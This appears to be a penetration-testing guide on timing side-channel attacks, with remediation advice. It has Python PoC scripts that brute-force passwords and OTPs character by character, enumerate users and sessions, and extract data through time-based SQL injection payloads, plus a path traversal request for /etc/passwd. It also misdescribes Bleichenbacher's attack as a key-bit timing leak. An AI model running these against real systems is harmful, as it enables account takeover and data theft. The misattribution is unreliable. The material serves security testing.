Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
Timing Attacks
Description
Timing attacks are a type of side-channel attack where an attacker can discover information by analyzing the time it takes for a system to respond to different inputs. These attacks exploit variations in processing time to infer sensitive data such as valid usernames, password correctness, cryptographic keys, or internal system states.
How Timing Attacks Work
When an application takes different amounts of time to process valid versus invalid inputs, attackers can measure these timing differences to gain information. For example:
- Valid username checks may take longer due to additional database queries
- Password verification may fail faster for wrong usernames than wrong passwords
- Token validation may reveal valid token formats through timing differences
- Cryptographic operations may leak information through processing time
Common Vulnerabilities
1. User Enumeration via Login Timing
Login responses take different times for existing vs non-existing users.
2. Password Verification Timing
Password comparison stops at first wrong character (early return).
3. Token Validation Timing
Valid token format takes longer to process than invalid format.
4. Cryptographic Key Discovery
RSA, AES operations leak information through execution time.
5. Database Query Timing
Different query execution times reveal data existence.
6. Cache Timing
Cached vs uncached responses have different timing signatures.
7. Session Validation Timing
Valid session checks take longer than invalid session checks.
8. OTP/PIN Verification Timing
Character-by-character comparison reveals partial correctness.
Common Attack Vectors
- Authentication endpoints (login, password reset)
- Token validation endpoints
- Search functionality
- Database queries
- Cryptographic operations
- Session management
- File existence checks
- Cache mechanisms
Testing Methodology & PoC Examples
PoC 1: User Enumeration via Login Timing
Vulnerability: Different response times for existing vs non-existing users.
Steps to Test:
- Send login request with known existing username
- Measure response time (e.g., 250ms)
- Send login request with non-existing username
- Measure response time (e.g., 50ms)
- Significant difference indicates vulnerability
Python Script:
import requests
import time
def measure_login_time(username, password):
start = time.time()
response = requests.post('https://example.com/login',
data={'username': username, 'password': password})
end = time.time()
return end - start
# Test with known existing user
existing_user_time = measure_login_time('admin', 'wrong_password')
print(f"Existing user time: {existing_user_time:.3f}s")
# Test with non-existing user
nonexistent_user_time = measure_login_time('nonexistent_user_12345', 'wrong_password')
print(f"Non-existing user time: {nonexistent_user_time:.3f}s")
# If difference is significant (>50ms), vulnerability exists
if abs(existing_user_time - nonexistent_user_time) > 0.05:
print("Timing attack vulnerability detected!")
Request Example:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=test123
Mitigation: Use constant-time comparison and always perform same operations regardless of user existence.
PoC 2: Password Length Discovery via Timing
Vulnerability: Password verification time increases with correct prefix length.
Steps to Test:
- Try passwords of different lengths
- Measure response time for each
- Longer correct prefixes take more time
- Incrementally discover password character by character
Python Script:
import requests
import time
import string
def test_password_timing(username, password):
times = []
for _ in range(10): # Multiple attempts for accuracy
start = time.time()
requests.post('https://example.com/login',
data={'username': username, 'password': password})
end = time.time()
times.append(end - start)
return sum(times) / len(times) # Average time
# Brute force password character by character
known_password = ""
for position in range(20): # Try up to 20 characters
best_char = None
longest_time = 0
for char in string.ascii_letters + string.digits:
test_password = known_password + char
avg_time = test_password_timing('admin', test_password)
if avg_time > longest_time:
longest_time = avg_time
best_char = char
if best_char:
known_password += best_char
print(f"Discovered: {known_password}")
else:
break
PoC 3: Token Validation Timing Attack
Vulnerability: Valid token format takes longer to validate.
Steps to Test:
- Send requests with various token formats
- Measure validation time
- Valid format (even if expired) takes longer
- Use timing to discover valid token structure
Request Examples:
GET /api/validate?token=invalid_format HTTP/1.1
Host: example.com
# Fast response (5ms)
GET /api/validate?token=550e8400-e29b-41d4-a716-446655440000 HTTP/1.1
Host: example.com
# Slower response (50ms) - valid UUID format
Python Script:
import requests
import time
tokens = [
'invalid',
'12345',
'abc-def-ghi',
'550e8400-e29b-41d4-a716-446655440000', # Valid UUID
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', # Valid JWT format
]
for token in tokens:
start = time.time()
response = requests.get(f'https://example.com/api/validate?token={token}')
elapsed = time.time() - start
print(f"Token: {token[:20]}... Time: {elapsed:.4f}s")
PoC 4: Database Query Timing (SQL Timing Attack)
Vulnerability: Different query execution times reveal data.
Steps to Test:
- Inject time-based SQL payloads
- Measure response time
- If condition is true, response is delayed
- Extract data bit by bit
SQL Timing Payloads:
' OR IF(1=1, SLEEP(5), 0) --
' OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
' AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0) --
admin' AND IF(LENGTH(password)>8, BENCHMARK(5000000,SHA1('test')), 0) --
Request:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
query=' OR IF(1=1, SLEEP(5), 0) --
Python Script:
import requests
import time
def check_condition(condition):
payload = f"' OR IF({condition}, SLEEP(5), 0) --"
start = time.time()
requests.post('https://example.com/search', data={'query': payload})
elapsed = time.time() - start
return elapsed > 5 # True if condition is true
# Extract database name length
for length in range(1, 50):
if check_condition(f"LENGTH(DATABASE())={length}"):
print(f"Database name length: {length}")
break
PoC 5: Cache Timing Attack
Vulnerability: Cached responses are faster than uncached.
Steps to Test:
- Request resource multiple times
- First request is slow (cache miss)
- Subsequent requests are fast (cache hit)
- Use timing to discover accessed resources
Python Script:
import requests
import time
def check_cache_timing(url):
# First request - potential cache miss
start = time.time()
requests.get(url)
first_time = time.time() - start
# Second request - potential cache hit
start = time.time()
requests.get(url)
second_time = time.time() - start
print(f"URL: {url}")
print(f"First: {first_time:.4f}s, Second: {second_time:.4f}s")
if second_time < first_time * 0.5:
print("Likely cached!")
return True
return False
# Test various resources
resources = [
'https://example.com/api/user/1',
'https://example.com/api/user/2',
'https://example.com/api/user/999',
]
for resource in resources:
check_cache_timing(resource)
PoC 6: OTP/PIN Brute Force via Timing
Vulnerability: Character-by-character OTP comparison.
Steps to Test:
- Try OTPs with different first digits
- Correct first digit takes slightly longer
- Repeat for each position
- Discover OTP digit by digit
Python Script:
import requests
import time
def test_otp_timing(otp):
times = []
for _ in range(20): # Multiple measurements
start = time.time()
requests.post('https://example.com/verify-otp',
data={'otp': otp})
times.append(time.time() - start)
return sum(times) / len(times)
# Discover 6-digit OTP
discovered_otp = ""
for position in range(6):
best_digit = None
longest_time = 0
for digit in range(10):
test_otp = discovered_otp + str(digit) + "0" * (5 - position)
avg_time = test_otp_timing(test_otp)
if avg_time > longest_time:
longest_time = avg_time
best_digit = digit
discovered_otp += str(best_digit)
print(f"Discovered so far: {discovered_otp}")
PoC 7: File Existence Check via Timing
Vulnerability: File existence affects response time.
Steps to Test:
- Request files that may exist
- Existing files take longer (file I/O)
- Non-existing files fail fast
- Enumerate file structure via timing
Request:
GET /download?file=../../../etc/passwd HTTP/1.1
Host: example.com
# Slower if file exists and is accessed
PoC 8: Session Validation Timing
Vulnerability: Valid sessions require more checks.
Steps to Test:
- Send requests with various session IDs
- Valid format sessions take longer to invalidate
- Discover valid session ID patterns
Python Script:
import requests
import time
import uuid
def check_session_timing(session_id):
start = time.time()
requests.get('https://example.com/api/data',
cookies={'SESSIONID': session_id})
return time.time() - start
# Test different session formats
session_times = {}
for _ in range(10):
# Random UUID
session_id = str(uuid.uuid4())
timing = check_session_timing(session_id)
session_times[session_id] = timing
print(f"Session: {session_id} Time: {timing:.4f}s")
# Sessions with longer times might have valid format
sorted_sessions = sorted(session_times.items(), key=lambda x: x[1], reverse=True)
print("\nSlowest (potentially valid format):")
for session, timing in sorted_sessions[:3]:
print(f"{session}: {timing:.4f}s")
PoC 9: Cryptographic Timing Attack (RSA)
Vulnerability: RSA decryption time leaks private key information.
Concept:
- RSA operations time varies based on key bits
- Measure time for different ciphertext
- Statistical analysis reveals key bits
Note: This requires many measurements and statistical analysis. Real-world example: Bleichenbacher's attack.
PoC 10: Rate Limiting Detection via Timing
Vulnerability: Rate limiting adds delay to responses.
Steps to Test:
- Send requests rapidly
- Measure response times
- After threshold, responses become slower
- Discover rate limit threshold
Python Script:
import requests
import time
url = 'https://example.com/api/endpoint'
times = []
for i in range(100):
start = time.time()
response = requests.get(url)
elapsed = time.time() - start
times.append(elapsed)
print(f"Request {i+1}: {elapsed:.4f}s")
# Detect sudden increase in response time
if len(times) > 10:
avg_recent = sum(times[-10:]) / 10
avg_early = sum(times[:10]) / 10
if avg_recent > avg_early * 2:
print(f"Rate limit detected around request {i+1}")
break
Tools for Testing
1. Custom Python Scripts
import statistics
import requests
import time
def statistical_timing_attack(url, payloads):
results = {}
for payload in payloads:
times = []
for _ in range(50): # 50 measurements for accuracy
start = time.time()
requests.post(url, data={'input': payload})
times.append(time.time() - start)
# Calculate statistics
avg = statistics.mean(times)
stdev = statistics.stdev(times)
results[payload] = {'avg': avg, 'stdev': stdev}
return results
2. Burp Suite Intruder
- Use "Pitchfork" attack type
- Add "Response received" column
- Sort by response time
- Look for patterns
3. Timing Attack Tools
# Using cURL with timing
for i in {1..100}; do
curl -w "Time: %{time_total}s\n" -o /dev/null -s \
"https://example.com/api/check?username=user$i"
done
# Using Apache Bench
ab -n 1000 -c 10 https://example.com/login
# Using wrk for timing analysis
wrk -t12 -c400 -d30s https://example.com/api
4. Statistical Analysis Tools
import numpy as np
import matplotlib.pyplot as plt
# Analyze timing data
times_existing_users = [0.245, 0.248, 0.251, 0.247, 0.249]
times_nonexistent_users = [0.048, 0.051, 0.049, 0.050, 0.047]
print(f"Existing users avg: {np.mean(times_existing_users):.4f}s")
print(f"Non-existing users avg: {np.mean(times_nonexistent_users):.4f}s")
# Plot histogram
plt.hist(times_existing_users, alpha=0.5, label='Existing')
plt.hist(times_nonexistent_users, alpha=0.5, label='Non-existing')
plt.legend()
plt.xlabel('Response Time (s)')
plt.ylabel('Frequency')
plt.title('Timing Attack - User Enumeration')
plt.show()
Exploitation Impact
- Critical: Password/key extraction, cryptographic attacks
- High: User enumeration, session discovery, data extraction
- Medium: Information disclosure, system behavior mapping
- Privacy Impact: Reveals user existence, activity patterns
Remediation
1. Constant-Time Operations
# Bad - Early return
def check_password(input_password, stored_password):
if len(input_password) != len(stored_password):
return False
for i in range(len(input_password)):
if input_password[i] != stored_password[i]:
return False # Early return leaks information
return True
# Good - Constant-time comparison
import hmac
def check_password_secure(input_password, stored_password):
return hmac.compare_digest(input_password.encode(), stored_password.encode())
2. Normalize Response Times
import time
import random
def login(username, password):
start_time = time.time()
# Perform authentication
result = authenticate(username, password)
# Add random delay to normalize timing
elapsed = time.time() - start_time
target_time = 0.5 # Fixed response time
if elapsed < target_time:
time.sleep(target_time - elapsed + random.uniform(0, 0.05))
return result
3. Rate Limiting
- Implement aggressive rate limiting on sensitive endpoints
- Use exponential backoff
- CAPTCHA after multiple attempts
4. Identical Code Paths
- Execute same operations for valid and invalid inputs
- Always query database even if username doesn't exist
- Always perform password hash comparison
5. Timing Jitter
import random
import time
def add_timing_jitter():
time.sleep(random.uniform(0.01, 0.05))
6. Blinding Techniques
- Use blinding in cryptographic operations
- Add random delays
- Use secure libraries (e.g., libsodium)
7. Monitoring and Detection
- Monitor for unusual timing patterns
- Detect rapid sequential requests
- Alert on systematic timing probes
8. Use Secure Libraries
- Use constant-time comparison functions
- Use timing-safe cryptographic libraries
- Follow OWASP guidelines
References
- OWASP - Timing Attacks
- NIST - Timing Attacks on Implementations
- Remote Timing Attacks are Practical
- Cache-Timing Attacks on AES
Payloads
See timing-attacks-payloads.txt for a comprehensive list of timing attack payloads and test cases.